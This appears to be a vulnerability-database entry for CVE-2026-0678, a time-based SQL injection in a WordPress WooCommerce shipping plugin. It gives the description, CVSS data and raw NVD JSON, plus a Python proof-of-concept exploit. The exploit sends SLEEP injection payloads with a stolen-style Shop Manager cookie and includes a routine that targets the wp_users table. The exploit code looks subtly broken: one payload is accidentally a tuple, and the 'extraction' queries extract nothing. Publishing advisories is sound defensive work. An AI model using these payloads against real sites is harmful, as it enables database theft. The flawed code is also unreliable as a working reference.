Security Vulnerability Report
中文
CVE-2026-0678 CVSS 4.9 MEDIUM

CVE-2026-0678

Published: 2026-01-14 06:15:55
Last Modified: 2026-04-15 00:35:42

Description

The Flat Shipping Rate by City for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'cities' parameter in all versions up to, and including, 1.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Flat Shipping Rate by City for WooCommerce <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0678 PoC - Time-based SQL Injection in Flat Shipping Rate by City for WooCommerce Tested on versions <= 1.0.3 """ import time import requests from urllib.parse import urlencode # Configuration TARGET_URL = "http://vulnerable-site.com/wp-admin/admin-ajax.php" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_sec_xxx": "your_auth_cookie_here", # Shop Manager session cookie } def test_sql_injection(): """Test for time-based SQL injection vulnerability""" # Normal request for baseline print("[*] Sending baseline request...") start = time.time() normal_data = { "action": "wc_city_shipping_rates", "cities": "TestCity", "security": "nonce_value" } requests.post(TARGET_URL, data=normal_data, cookies=COOKIES, timeout=10) baseline_time = time.time() - start print(f"[+] Baseline response time: {baseline_time:.2f}s") # SQL injection test with time delay print("[*] Testing SQL injection with SLEEP(5)...") start = time.time() # Time-based blind SQL injection payload injection_payload = "' OR SLEEP(5)-- -", malicious_data = { "action": "wc_city_shipping_rates", "cities": injection_payload, "security": "nonce_value" } try: response = requests.post(TARGET_URL, data=malicious_data, cookies=COOKIES, timeout=30) injection_time = time.time() - start print(f"[+] Injection response time: {injection_time:.2f}s") if injection_time > baseline_time + 4: print("[!] VULNERABLE: Time delay detected, SQL injection confirmed!") return True else: print("[-] Not vulnerable or insufficient delay") return False except requests.exceptions.Timeout: print("[!] Request timed out - likely vulnerable to SQL injection") return True def extract_data(): """Extract database information using time-based SQL injection""" # Example: Extract WordPress database prefix and version payloads = [ # Get database version "' OR (SELECT SLEEP(3) FROM wp_options WHERE 1=(SELECT 1 UNION SELECT 2))-- -", # Get current user "' OR (SELECT SLEEP(2) FROM wp_users WHERE user_login=(SELECT user_login FROM wp_users LIMIT 1))-- -", ] for i, payload in enumerate(payloads): print(f"[*] Testing payload {i+1}...") data = { "action": "wc_city_shipping_rates", "cities": payload, "security": "nonce_value" } start = time.time() requests.post(TARGET_URL, data=data, cookies=COOKIES, timeout=15) elapsed = time.time() - start print(f"[+] Response time: {elapsed:.2f}s") if __name__ == "__main__": print("CVE-2026-0678 SQL Injection Test") print("=" * 50) test_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0678", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:55.197", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flat Shipping Rate by City for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'cities' parameter in all versions up to, and including, 1.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Flat Shipping Rate by City for WooCommerce para WordPress es vulnerable a inyección SQL basada en tiempo a través del parámetro 'cities' en todas las versiones hasta la 1.0.3, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes autenticados, con acceso de nivel de 'Shop Manager' o superior, añadan consultas SQL adicionales a consultas ya existentes que pueden ser utilizadas para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/flat-shipping-rate-by-city-for-woocommerce/tags/1.0.3/shipping-method-class.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/flat-shipping-rate-by-city-for-woocommerce/trunk/shipping-method-class.php#L154", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4ada476b-6978-4c38-a5d3-67266a709a3e?source=cve", "source": "[email protected]"}]}}